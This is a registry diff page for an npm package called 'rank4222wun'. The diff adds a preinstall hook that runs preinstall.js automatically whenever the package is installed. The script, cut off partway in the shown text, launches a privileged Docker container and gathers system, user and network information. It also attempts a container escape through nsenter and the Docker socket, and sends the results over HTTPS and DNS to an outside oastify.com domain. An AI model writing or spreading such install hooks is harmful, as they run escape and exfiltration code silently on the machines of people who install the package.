rank4222wun 0.0.1-security → 1.0.37
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +882 -0
- package/rank4222wun-1.0.37.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.37",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,882 @@
|
|
|
1
|
+
// privileged-container-oast.js
|
|
2
|
+
const { exec, spawn } = require('child_process');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const dns = require('dns');
|
|
7
|
+
const crypto = require('crypto');
|
|
8
|
+
|
|
9
|
+
console.log(`
|
|
10
|
+
╔══════════════════════════════════════════════════════════╗
|
|
11
|
+
║ PRIVILEGED CONTAINER WITH OAST REPORTING ║
|
|
12
|
+
║ OAST Domain: v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com ║
|
|
13
|
+
╚══════════════════════════════════════════════════════════╝
|
|
14
|
+
`);
|
|
15
|
+
|
|
16
|
+
// ===================== CONFIGURATION =====================
|
|
17
|
+
const CONFIG = {
|
|
18
|
+
OAST: {
|
|
19
|
+
domain: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
|
|
20
|
+
httpsPort: 443,
|
|
21
|
+
httpPort: 80,
|
|
22
|
+
apiKey: crypto.randomBytes(16).toString('hex'),
|
|
23
|
+
sessionId: `priv-container-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
|
|
24
|
+
},
|
|
25
|
+
|
|
26
|
+
DOCKER: {
|
|
27
|
+
image: 'ubuntu:latest',
|
|
28
|
+
command: '/bin/bash',
|
|
29
|
+
privileged: true,
|
|
30
|
+
interactive: true,
|
|
31
|
+
remove: false,
|
|
32
|
+
name: `priv-container-${Date.now()}`
|
|
33
|
+
},
|
|
34
|
+
|
|
35
|
+
SCAN: {
|
|
36
|
+
hostEscape: true,
|
|
37
|
+
networkScan: true,
|
|
38
|
+
fileAccess: true,
|
|
39
|
+
capabilityCheck: true
|
|
40
|
+
}
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
// ===================== OAST FUNCTIONS =====================
|
|
44
|
+
class OASTReporter {
|
|
45
|
+
constructor() {
|
|
46
|
+
this.interactions = [];
|
|
47
|
+
this.reports = [];
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
sendDNS(subdomain, data = {}) {
|
|
51
|
+
const dnsName = `${subdomain}.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
|
|
52
|
+
|
|
53
|
+
dns.lookup(dnsName, (err) => {
|
|
54
|
+
if (!err) {
|
|
55
|
+
const interaction = {
|
|
56
|
+
type: 'DNS',
|
|
57
|
+
timestamp: new Date().toISOString(),
|
|
58
|
+
subdomain: subdomain,
|
|
59
|
+
dnsName: dnsName,
|
|
60
|
+
data: data
|
|
61
|
+
};
|
|
62
|
+
|
|
63
|
+
this.interactions.push(interaction);
|
|
64
|
+
console.log(`📡 DNS OAST sent: ${dnsName}`);
|
|
65
|
+
}
|
|
66
|
+
});
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
sendHTTP(endpoint, data) {
|
|
70
|
+
const postData = JSON.stringify({
|
|
71
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
72
|
+
timestamp: new Date().toISOString(),
|
|
73
|
+
...data
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
const options = {
|
|
77
|
+
hostname: CONFIG.OAST.domain,
|
|
78
|
+
port: CONFIG.OAST.httpPort,
|
|
79
|
+
path: endpoint,
|
|
80
|
+
method: 'POST',
|
|
81
|
+
headers: {
|
|
82
|
+
'Content-Type': 'application/json',
|
|
83
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
84
|
+
'User-Agent': 'PrivilegedContainerScanner/1.0'
|
|
85
|
+
}
|
|
86
|
+
};
|
|
87
|
+
|
|
88
|
+
const req = http.request(options, (res) => {
|
|
89
|
+
let body = '';
|
|
90
|
+
res.on('data', chunk => body += chunk);
|
|
91
|
+
res.on('end', () => {
|
|
92
|
+
const interaction = {
|
|
93
|
+
type: 'HTTP',
|
|
94
|
+
timestamp: new Date().toISOString(),
|
|
95
|
+
endpoint: endpoint,
|
|
96
|
+
status: res.statusCode,
|
|
97
|
+
response: body,
|
|
98
|
+
data: data
|
|
99
|
+
};
|
|
100
|
+
|
|
101
|
+
this.interactions.push(interaction);
|
|
102
|
+
console.log(`📡 HTTP OAST sent (${res.statusCode}): ${endpoint}`);
|
|
103
|
+
});
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
req.on('error', () => {});
|
|
107
|
+
req.write(postData);
|
|
108
|
+
req.end();
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
sendHTTPS(endpoint, data) {
|
|
112
|
+
const postData = JSON.stringify({
|
|
113
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
114
|
+
timestamp: new Date().toISOString(),
|
|
115
|
+
...data
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
const options = {
|
|
119
|
+
hostname: CONFIG.OAST.domain,
|
|
120
|
+
port: CONFIG.OAST.httpsPort,
|
|
121
|
+
path: endpoint,
|
|
122
|
+
method: 'POST',
|
|
123
|
+
headers: {
|
|
124
|
+
'Content-Type': 'application/json',
|
|
125
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
126
|
+
'X-Report-Type': 'privileged_container',
|
|
127
|
+
'User-Agent': 'ContainerEscapeDetector/2.0'
|
|
128
|
+
}
|
|
129
|
+
};
|
|
130
|
+
|
|
131
|
+
const req = https.request(options, (res) => {
|
|
132
|
+
let body = '';
|
|
133
|
+
res.on('data', chunk => body += chunk);
|
|
134
|
+
res.on('end', () => {
|
|
135
|
+
const interaction = {
|
|
136
|
+
type: 'HTTPS',
|
|
137
|
+
timestamp: new Date().toISOString(),
|
|
138
|
+
endpoint: endpoint,
|
|
139
|
+
status: res.statusCode,
|
|
140
|
+
response: body,
|
|
141
|
+
data: data
|
|
142
|
+
};
|
|
143
|
+
|
|
144
|
+
this.interactions.push(interaction);
|
|
145
|
+
this.reports.push(interaction);
|
|
146
|
+
console.log(`📡 HTTPS OAST sent (${res.statusCode}): ${endpoint}`);
|
|
147
|
+
});
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
req.on('error', (e) => {
|
|
151
|
+
console.log(`⚠️ OAST error (may be expected): ${e.message}`);
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
req.write(postData);
|
|
155
|
+
req.end();
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
async reportContainerEscape(containerId, evidence) {
|
|
159
|
+
const report = {
|
|
160
|
+
containerId: containerId.substring(0, 12),
|
|
161
|
+
escapeConfirmed: evidence.escaped || false,
|
|
162
|
+
confidence: evidence.confidence || 0,
|
|
163
|
+
methods: evidence.methods || [],
|
|
164
|
+
proofPoints: evidence.proofPoints || [],
|
|
165
|
+
hostInfo: evidence.hostInfo || {},
|
|
166
|
+
timestamp: new Date().toISOString()
|
|
167
|
+
};
|
|
168
|
+
|
|
169
|
+
// إرسال عبر HTTPS
|
|
170
|
+
this.sendHTTPS('/privileged-container-escape', report);
|
|
171
|
+
|
|
172
|
+
// إرسال DNS notification
|
|
173
|
+
if (evidence.escaped) {
|
|
174
|
+
this.sendDNS('escape-confirmed', {
|
|
175
|
+
container: containerId.substring(0, 12),
|
|
176
|
+
confidence: evidence.confidence
|
|
177
|
+
});
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
// حفظ محلياً
|
|
181
|
+
this.saveLocalReport(report);
|
|
182
|
+
|
|
183
|
+
return report;
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
saveLocalReport(report) {
|
|
187
|
+
const filename = `oast-report-${CONFIG.OAST.sessionId}.json`;
|
|
188
|
+
const allReports = {
|
|
189
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
190
|
+
domain: CONFIG.OAST.domain,
|
|
191
|
+
timestamp: new Date().toISOString(),
|
|
192
|
+
reports: this.reports,
|
|
193
|
+
containerReport: report
|
|
194
|
+
};
|
|
195
|
+
|
|
196
|
+
fs.writeFileSync(filename, JSON.stringify(allReports, null, 2));
|
|
197
|
+
console.log(`💾 Report saved locally: ${filename}`);
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
// ===================== CONTAINER SCANNER =====================
|
|
202
|
+
class PrivilegedContainerScanner {
|
|
203
|
+
constructor() {
|
|
204
|
+
this.containerId = null;
|
|
205
|
+
this.oastReporter = new OASTReporter();
|
|
206
|
+
this.evidence = {
|
|
207
|
+
escaped: false,
|
|
208
|
+
confidence: 0,
|
|
209
|
+
methods: [],
|
|
210
|
+
proofPoints: [],
|
|
211
|
+
hostInfo: {},
|
|
212
|
+
containerInfo: {}
|
|
213
|
+
};
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
async run() {
|
|
217
|
+
try {
|
|
218
|
+
console.log('🚀 Starting privileged container analysis...\n');
|
|
219
|
+
|
|
220
|
+
// إرسال بداية الجلسة إلى OAST
|
|
221
|
+
this.oastReporter.sendHTTPS('/session-start', {
|
|
222
|
+
action: 'privileged_container_start',
|
|
223
|
+
config: CONFIG
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
// 1. تشغيل الحاوية المميزة
|
|
227
|
+
await this.runPrivilegedContainer();
|
|
228
|
+
|
|
229
|
+
// 2. جمع المعلومات الأساسية
|
|
230
|
+
await this.collectBasicInfo();
|
|
231
|
+
|
|
232
|
+
// 3. محاولة الهروب والتأكيد
|
|
233
|
+
await this.attemptEscape();
|
|
234
|
+
|
|
235
|
+
// 4. فحص إضافي للحاوية
|
|
236
|
+
await this.performDeepScan();
|
|
237
|
+
|
|
238
|
+
// 5. تحليل النتائج
|
|
239
|
+
await this.analyzeResults();
|
|
240
|
+
|
|
241
|
+
// 6. إرسال التقرير النهائي
|
|
242
|
+
await this.sendFinalReport();
|
|
243
|
+
|
|
244
|
+
// 7. عرض النتائج
|
|
245
|
+
this.displayResults();
|
|
246
|
+
|
|
247
|
+
// 8. تنظيف (اختياري)
|
|
248
|
+
await this.cleanup();
|
|
249
|
+
|
|
250
|
+
} catch (error) {
|
|
251
|
+
console.error(`❌ Error: ${error.message}`);
|
|
252
|
+
this.oastReporter.sendHTTPS('/error', { error: error.message });
|
|
253
|
+
}
|
|
254
|
+
}
|
|
255
|
+
|
|
256
|
+
async runPrivilegedContainer() {
|
|
257
|
+
console.log('📦 Running privileged container...');
|
|
258
|
+
|
|
259
|
+
const dockerArgs = [
|
|
260
|
+
'run',
|
|
261
|
+
'--privileged',
|
|
262
|
+
'-d',
|
|
263
|
+
'--name', CONFIG.DOCKER.name,
|
|
264
|
+
CONFIG.DOCKER.image,
|
|
265
|
+
'sleep', '3600'
|
|
266
|
+
];
|
|
267
|
+
|
|
268
|
+
return new Promise((resolve, reject) => {
|
|
269
|
+
exec(`docker ${dockerArgs.join(' ')}`, (error, stdout, stderr) => {
|
|
270
|
+
if (error) {
|
|
271
|
+
reject(error);
|
|
272
|
+
return;
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
this.containerId = stdout.trim();
|
|
276
|
+
console.log(`✅ Container started: ${this.containerId.substring(0, 12)}`);
|
|
277
|
+
|
|
278
|
+
// إرسال إلى OAST
|
|
279
|
+
this.oastReporter.sendHTTPS('/container-started', {
|
|
280
|
+
containerId: this.containerId.substring(0, 12),
|
|
281
|
+
name: CONFIG.DOCKER.name,
|
|
282
|
+
image: CONFIG.DOCKER.image,
|
|
283
|
+
privileged: true
|
|
284
|
+
});
|
|
285
|
+
|
|
286
|
+
// الانتظار للحاوية لتبدأ
|
|
287
|
+
setTimeout(resolve, 2000);
|
|
288
|
+
});
|
|
289
|
+
});
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
async collectBasicInfo() {
|
|
293
|
+
console.log('\n🔍 Collecting basic container information...');
|
|
294
|
+
|
|
295
|
+
const commands = [
|
|
296
|
+
// معلومات النظام
|
|
297
|
+
'cat /etc/os-release',
|
|
298
|
+
'uname -a',
|
|
299
|
+
'whoami',
|
|
300
|
+
'id',
|
|
301
|
+
|
|
302
|
+
// الصلاحيات
|
|
303
|
+
'capsh --print 2>/dev/null || echo "No capsh"',
|
|
304
|
+
'cat /proc/self/status | grep -i cap',
|
|
305
|
+
|
|
306
|
+
// نظام الملفات
|
|
307
|
+
'ls -la /',
|
|
308
|
+
'mount | head -20',
|
|
309
|
+
'df -h',
|
|
310
|
+
|
|
311
|
+
// الذاكرة والمعالج
|
|
312
|
+
'free -h',
|
|
313
|
+
'cat /proc/cpuinfo | grep "model name" | head -1',
|
|
314
|
+
|
|
315
|
+
// الشبكة
|
|
316
|
+
'ip addr show',
|
|
317
|
+
'hostname -I',
|
|
318
|
+
'cat /etc/hosts',
|
|
319
|
+
|
|
320
|
+
// معلومات Docker
|
|
321
|
+
'cat /proc/1/cgroup 2>/dev/null || echo "No cgroup access"',
|
|
322
|
+
'ls -la /var/run/docker.sock 2>/dev/null || echo "No docker socket"'
|
|
323
|
+
];
|
|
324
|
+
|
|
325
|
+
const results = {};
|
|
326
|
+
|
|
327
|
+
for (const cmd of commands) {
|
|
328
|
+
try {
|
|
329
|
+
const output = await this.execInContainer(cmd);
|
|
330
|
+
results[cmd] = output.substring(0, 500);
|
|
331
|
+
|
|
332
|
+
// تحليل بعض النتائج الهامة
|
|
333
|
+
if (cmd.includes('os-release')) {
|
|
334
|
+
this.evidence.containerInfo.os = output;
|
|
335
|
+
}
|
|
336
|
+
if (cmd.includes('uname -a')) {
|
|
337
|
+
this.evidence.containerInfo.kernel = output;
|
|
338
|
+
}
|
|
339
|
+
if (cmd.includes('capsh')) {
|
|
340
|
+
this.evidence.containerInfo.capabilities = output;
|
|
341
|
+
}
|
|
342
|
+
|
|
343
|
+
} catch (error) {
|
|
344
|
+
results[cmd] = `ERROR: ${error.message}`;
|
|
345
|
+
}
|
|
346
|
+
}
|
|
347
|
+
|
|
348
|
+
// إرسال المعلومات الأساسية إلى OAST
|
|
349
|
+
this.oastReporter.sendHTTPS('/basic-info', {
|
|
350
|
+
containerId: this.containerId.substring(0, 12),
|
|
351
|
+
basicInfo: results
|
|
352
|
+
});
|
|
353
|
+
|
|
354
|
+
return results;
|
|
355
|
+
}
|
|
356
|
+
|
|
357
|
+
async attemptEscape() {
|
|
358
|
+
console.log('\n🔓 Attempting container escape...');
|
|
359
|
+
|
|
360
|
+
const escapeTests = [
|
|
361
|
+
{
|
|
362
|
+
name: 'nsenter_escape',
|
|
363
|
+
command: 'which nsenter && nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"',
|
|
364
|
+
check: (output) => output.includes('HOST_HOSTNAME') && output.includes('CONTAINER_HOSTNAME')
|
|
365
|
+
},
|
|
366
|
+
{
|
|
367
|
+
name: 'proc_escape',
|
|
368
|
+
command: 'cat /proc/1/status 2>/dev/null | head -5 && cat /proc/1/cmdline 2>/dev/null | tr "\\0" " " | head -c 100',
|
|
369
|
+
check: (output) => output.includes('State:') && output.length > 20
|
|
370
|
+
},
|
|
371
|
+
{
|
|
372
|
+
name: 'host_mounts',
|
|
373
|
+
command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || cat /etc/passwd 2>/dev/null | head -5 || echo "NO_ACCESS"',
|
|
374
|
+
check: (output) => !output.includes('NO_ACCESS') && output.length > 10
|
|
375
|
+
},
|
|
376
|
+
{
|
|
377
|
+
name: 'docker_socket',
|
|
378
|
+
command: 'ls -la /var/run/docker.sock 2>/dev/null && echo "EXISTS" || echo "NOT_EXISTS"',
|
|
379
|
+
check: (output) => output.includes('EXISTS')
|
|
380
|
+
},
|
|
381
|
+
{
|
|
382
|
+
name: 'network_escape',
|
|
383
|
+
command: 'ip route show 2>/dev/null | head -5 && ip neigh show 2>/dev/null | head -5',
|
|
384
|
+
check: (output) => output.includes('default via') || output.includes('lladdr')
|
|
385
|
+
}
|
|
386
|
+
];
|
|
387
|
+
|
|
388
|
+
for (const test of escapeTests) {
|
|
389
|
+
try {
|
|
390
|
+
const output = await this.execInContainer(test.command);
|
|
391
|
+
|
|
392
|
+
if (test.check(output)) {
|
|
393
|
+
this.evidence.methods.push(test.name);
|
|
394
|
+
console.log(`✅ ${test.name}: Possible`);
|
|
395
|
+
|
|
396
|
+
// إرسال إلى OAST
|
|
397
|
+
this.oastReporter.sendHTTPS('/escape-attempt', {
|
|
398
|
+
method: test.name,
|
|
399
|
+
success: true,
|
|
400
|
+
output: output.substring(0, 300)
|
|
401
|
+
});
|
|
402
|
+
|
|
403
|
+
// التحقق من اختلاف hostname لـ nsenter
|
|
404
|
+
if (test.name === 'nsenter_escape') {
|
|
405
|
+
const lines = output.split('\n');
|
|
406
|
+
let hostHostname = '';
|
|
407
|
+
let containerHostname = '';
|
|
408
|
+
|
|
409
|
+
lines.forEach(line => {
|
|
410
|
+
if (line.startsWith('HOST_HOSTNAME:')) {
|
|
411
|
+
hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
|
|
412
|
+
}
|
|
413
|
+
if (line.startsWith('CONTAINER_HOSTNAME:')) {
|
|
414
|
+
containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
|
|
415
|
+
}
|
|
416
|
+
});
|
|
417
|
+
|
|
418
|
+
if (hostHostname && containerHostname && hostHostname !== containerHostname) {
|
|
419
|
+
this.evidence.proofPoints.push(`Host hostname (${hostHostname}) differs from container (${containerHostname})`);
|
|
420
|
+
this.evidence.hostInfo.hostname = hostHostname;
|
|
421
|
+
this.evidence.escaped = true;
|
|
422
|
+
}
|
|
423
|
+
}
|
|
424
|
+
}
|
|
425
|
+
} catch (error) {
|
|
426
|
+
console.log(`❌ ${test.name}: Failed - ${error.message}`);
|
|
427
|
+
}
|
|
428
|
+
}
|
|
429
|
+
}
|
|
430
|
+
|
|
431
|
+
async performDeepScan() {
|
|
432
|
+
if (!CONFIG.SCAN.hostEscape) return;
|
|
433
|
+
|
|
434
|
+
console.log('\n🔬 Performing deep scan...');
|
|
435
|
+
|
|
436
|
+
const deepChecks = [
|
|
437
|
+
// محاولة إنشاء حاوية من داخل الحاوية
|
|
438
|
+
{
|
|
439
|
+
name: 'nested_container',
|
|
440
|
+
command: 'which docker && docker ps 2>/dev/null || which podman && podman ps 2>/dev/null || echo "NO_CONTAINER_RUNTIME"',
|
|
441
|
+
check: (output) => !output.includes('NO_CONTAINER_RUNTIME')
|
|
442
|
+
},
|
|
443
|
+
|
|
444
|
+
// فحص kernel vulnerabilities
|
|
445
|
+
{
|
|
446
|
+
name: 'kernel_check',
|
|
447
|
+
command: 'uname -r && grep -i "dirty\\|cow\\|shock\\|overlay" /etc/os-release 2>/dev/null || echo "NO_VULN_INFO"',
|
|
448
|
+
check: (output) => output.length > 5
|
|
449
|
+
},
|
|
450
|
+
|
|
451
|
+
// محاولة كتابة ملف في نظام المضيف
|
|
452
|
+
{
|
|
453
|
+
name: 'host_write_test',
|
|
454
|
+
command: 'echo "TEST_WRITE_FROM_CONTAINER" > /tmp/container_test.txt 2>/dev/null && echo "WRITE_SUCCESS" || echo "WRITE_FAILED"',
|
|
455
|
+
check: (output) => output.includes('WRITE_SUCCESS')
|
|
456
|
+
},
|
|
457
|
+
|
|
458
|
+
// فحص mount points خطيرة
|
|
459
|
+
{
|
|
460
|
+
name: 'dangerous_mounts',
|
|
461
|
+
command: 'mount 2>/dev/null | grep -E "(proc|sys|dev|/var/run)" | head -10',
|
|
462
|
+
check: (output) => output.length > 10
|
|
463
|
+
}
|
|
464
|
+
];
|
|
465
|
+
|
|
466
|
+
for (const check of deepChecks) {
|
|
467
|
+
try {
|
|
468
|
+
const output = await this.execInContainer(check.command);
|
|
469
|
+
|
|
470
|
+
if (check.check(output)) {
|
|
471
|
+
console.log(`⚠️ ${check.name}: Found potential issue`);
|
|
472
|
+
|
|
473
|
+
// إرسال إلى OAST
|
|
474
|
+
this.oastReporter.sendDNS(check.name, {
|
|
475
|
+
result: output.substring(0, 100)
|
|
476
|
+
});
|
|
477
|
+
}
|
|
478
|
+
} catch (error) {
|
|
479
|
+
// تجاهل الأخطاء
|
|
480
|
+
}
|
|
481
|
+
}
|
|
482
|
+
}
|
|
483
|
+
|
|
484
|
+
async analyzeResults() {
|
|
485
|
+
console.log('\n📊 Analyzing results...');
|
|
486
|
+
|
|
487
|
+
// حساب مستوى الثقة
|
|
488
|
+
let confidence = 0;
|
|
489
|
+
|
|
490
|
+
// نقاط لكل طريقة هروب محتملة
|
|
491
|
+
const methodPoints = {
|
|
492
|
+
nsenter_escape: 30,
|
|
493
|
+
proc_escape: 25,
|
|
494
|
+
host_mounts: 20,
|
|
495
|
+
docker_socket: 25,
|
|
496
|
+
network_escape: 15
|
|
497
|
+
};
|
|
498
|
+
|
|
499
|
+
this.evidence.methods.forEach(method => {
|
|
500
|
+
confidence += methodPoints[method] || 10;
|
|
501
|
+
});
|
|
502
|
+
|
|
503
|
+
// نقاط إضافية لأدلة قاطعة
|
|
504
|
+
if (this.evidence.proofPoints.length > 0) {
|
|
505
|
+
confidence += this.evidence.proofPoints.length * 10;
|
|
506
|
+
}
|
|
507
|
+
|
|
508
|
+
// إذا كان hostname مختلف
|
|
509
|
+
if (this.evidence.hostInfo.hostname) {
|
|
510
|
+
confidence += 20;
|
|
511
|
+
}
|
|
512
|
+
|
|
513
|
+
// تحديد إذا تم الهروب فعلاً
|
|
514
|
+
this.evidence.confidence = Math.min(100, confidence);
|
|
515
|
+
|
|
516
|
+
if (this.evidence.confidence >= 60) {
|
|
517
|
+
this.evidence.escaped = true;
|
|
518
|
+
console.log(`🚨 CONFIRMED: Container escape possible (${this.evidence.confidence}% confidence)`);
|
|
519
|
+
} else if (this.evidence.confidence >= 30) {
|
|
520
|
+
console.log(`⚠️ POSSIBLE: Container escape may be possible (${this.evidence.confidence}% confidence)`);
|
|
521
|
+
} else {
|
|
522
|
+
console.log(`✅ SECURE: Container appears isolated (${this.evidence.confidence}% confidence)`);
|
|
523
|
+
}
|
|
524
|
+
}
|
|
525
|
+
|
|
526
|
+
async sendFinalReport() {
|
|
527
|
+
console.log('\n📡 Sending final report to OAST...');
|
|
528
|
+
|
|
529
|
+
const report = {
|
|
530
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
531
|
+
containerId: this.containerId ? this.containerId.substring(0, 12) : 'unknown',
|
|
532
|
+
timestamp: new Date().toISOString(),
|
|
533
|
+
evidence: this.evidence,
|
|
534
|
+
summary: {
|
|
535
|
+
escaped: this.evidence.escaped,
|
|
536
|
+
confidence: this.evidence.confidence,
|
|
537
|
+
methods: this.evidence.methods,
|
|
538
|
+
proofPoints: this.evidence.proofPoints
|
|
539
|
+
}
|
|
540
|
+
};
|
|
541
|
+
|
|
542
|
+
// إرسال التقرير النهائي
|
|
543
|
+
this.oastReporter.reportContainerEscape(this.containerId, this.evidence);
|
|
544
|
+
|
|
545
|
+
// إرسال DNS notification للنتيجة
|
|
546
|
+
const resultType = this.evidence.escaped ? 'escape-confirmed' : 'no-escape';
|
|
547
|
+
this.oastReporter.sendDNS(resultType, {
|
|
548
|
+
confidence: this.evidence.confidence,
|
|
549
|
+
methods: this.evidence.methods.length
|
|
550
|
+
});
|
|
551
|
+
|
|
552
|
+
return report;
|
|
553
|
+
}
|
|
554
|
+
|
|
555
|
+
displayResults() {
|
|
556
|
+
console.log('\n' + '='.repeat(80));
|
|
557
|
+
console.log('📊 PRIVILEGED CONTAINER ANALYSIS RESULTS');
|
|
558
|
+
console.log('='.repeat(80));
|
|
559
|
+
|
|
560
|
+
console.log(`\n📦 Container ID: ${this.containerId ? this.containerId.substring(0, 12) : 'unknown'}`);
|
|
561
|
+
console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
562
|
+
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
|
|
563
|
+
|
|
564
|
+
console.log(`\n🎯 Escape Status: ${this.evidence.escaped ? '🚨 CONFIRMED' : '✅ NOT CONFIRMED'}`);
|
|
565
|
+
console.log(`📈 Confidence Level: ${this.evidence.confidence}%`);
|
|
566
|
+
|
|
567
|
+
if (this.evidence.methods.length > 0) {
|
|
568
|
+
console.log(`\n🔓 Possible Escape Methods:`);
|
|
569
|
+
this.evidence.methods.forEach((method, i) => {
|
|
570
|
+
console.log(` ${i + 1}. ${method}`);
|
|
571
|
+
});
|
|
572
|
+
}
|
|
573
|
+
|
|
574
|
+
if (this.evidence.proofPoints.length > 0) {
|
|
575
|
+
console.log(`\n🎯 Evidence Found:`);
|
|
576
|
+
this.evidence.proofPoints.forEach((proof, i) => {
|
|
577
|
+
console.log(` ${i + 1}. ${proof}`);
|
|
578
|
+
});
|
|
579
|
+
}
|
|
580
|
+
|
|
581
|
+
if (this.evidence.hostInfo.hostname) {
|
|
582
|
+
console.log(`\n🖥️ Host Information:`);
|
|
583
|
+
console.log(` Hostname: ${this.evidence.hostInfo.hostname}`);
|
|
584
|
+
}
|
|
585
|
+
|
|
586
|
+
console.log(`\n📡 OAST Interactions: ${this.oastReporter.interactions.length} interactions sent`);
|
|
587
|
+
console.log(` DNS: ${this.oastReporter.interactions.filter(i => i.type === 'DNS').length}`);
|
|
588
|
+
console.log(` HTTPS: ${this.oastReporter.interactions.filter(i => i.type === 'HTTPS').length}`);
|
|
589
|
+
|
|
590
|
+
console.log('\n🔍 Check your OAST dashboard for detailed evidence:');
|
|
591
|
+
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
592
|
+
console.log(` Look for interactions at: ${CONFIG.OAST.domain}`);
|
|
593
|
+
|
|
594
|
+
console.log('\n' + '='.repeat(80));
|
|
595
|
+
console.log('🎯 ANALYSIS COMPLETE');
|
|
596
|
+
console.log('='.repeat(80));
|
|
597
|
+
}
|
|
598
|
+
|
|
599
|
+
async cleanup() {
|
|
600
|
+
if (this.containerId) {
|
|
601
|
+
console.log('\n🧹 Cleaning up container...');
|
|
602
|
+
|
|
603
|
+
try {
|
|
604
|
+
await this.execOnHost(`docker stop ${this.containerId}`);
|
|
605
|
+
await this.execOnHost(`docker rm ${this.containerId}`);
|
|
606
|
+
console.log('✅ Container cleaned up');
|
|
607
|
+
|
|
608
|
+
// إرسال إشعار التنظيف إلى OAST
|
|
609
|
+
this.oastReporter.sendHTTPS('/cleanup', {
|
|
610
|
+
containerId: this.containerId.substring(0, 12),
|
|
611
|
+
action: 'container_removed'
|
|
612
|
+
});
|
|
613
|
+
} catch (error) {
|
|
614
|
+
console.log(`⚠️ Could not clean up container: ${error.message}`);
|
|
615
|
+
}
|
|
616
|
+
}
|
|
617
|
+
}
|
|
618
|
+
|
|
619
|
+
execInContainer(command) {
|
|
620
|
+
return new Promise((resolve, reject) => {
|
|
621
|
+
if (!this.containerId) {
|
|
622
|
+
reject(new Error('No container running'));
|
|
623
|
+
return;
|
|
624
|
+
}
|
|
625
|
+
|
|
626
|
+
exec(`docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`,
|
|
627
|
+
{ timeout: 10000 },
|
|
628
|
+
(error, stdout, stderr) => {
|
|
629
|
+
if (error) {
|
|
630
|
+
reject(error);
|
|
631
|
+
} else {
|
|
632
|
+
resolve(stdout || stderr || '');
|
|
633
|
+
}
|
|
634
|
+
}
|
|
635
|
+
);
|
|
636
|
+
});
|
|
637
|
+
}
|
|
638
|
+
|
|
639
|
+
execOnHost(command) {
|
|
640
|
+
return new Promise((resolve, reject) => {
|
|
641
|
+
exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
642
|
+
if (error) {
|
|
643
|
+
reject(error);
|
|
644
|
+
} else {
|
|
645
|
+
resolve(stdout);
|
|
646
|
+
}
|
|
647
|
+
});
|
|
648
|
+
});
|
|
649
|
+
}
|
|
650
|
+
}
|
|
651
|
+
|
|
652
|
+
// ===================== SIMPLE VERSION =====================
|
|
653
|
+
function runSimplePrivilegedWithOAST() {
|
|
654
|
+
console.log('🚀 Running simple privileged container with OAST reporting...\n');
|
|
655
|
+
|
|
656
|
+
const containerName = `simple-priv-${Date.now()}`;
|
|
657
|
+
const sessionId = `simple-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`;
|
|
658
|
+
|
|
659
|
+
// إرسال بداية الجلسة
|
|
660
|
+
const startReq = https.request({
|
|
661
|
+
hostname: CONFIG.OAST.domain,
|
|
662
|
+
port: CONFIG.OAST.httpsPort,
|
|
663
|
+
path: '/simple-start',
|
|
664
|
+
method: 'POST',
|
|
665
|
+
headers: {
|
|
666
|
+
'Content-Type': 'application/json',
|
|
667
|
+
'X-Session-ID': sessionId
|
|
668
|
+
}
|
|
669
|
+
});
|
|
670
|
+
|
|
671
|
+
startReq.write(JSON.stringify({
|
|
672
|
+
action: 'simple_container_start',
|
|
673
|
+
containerName: containerName,
|
|
674
|
+
timestamp: new Date().toISOString()
|
|
675
|
+
}));
|
|
676
|
+
startReq.end();
|
|
677
|
+
|
|
678
|
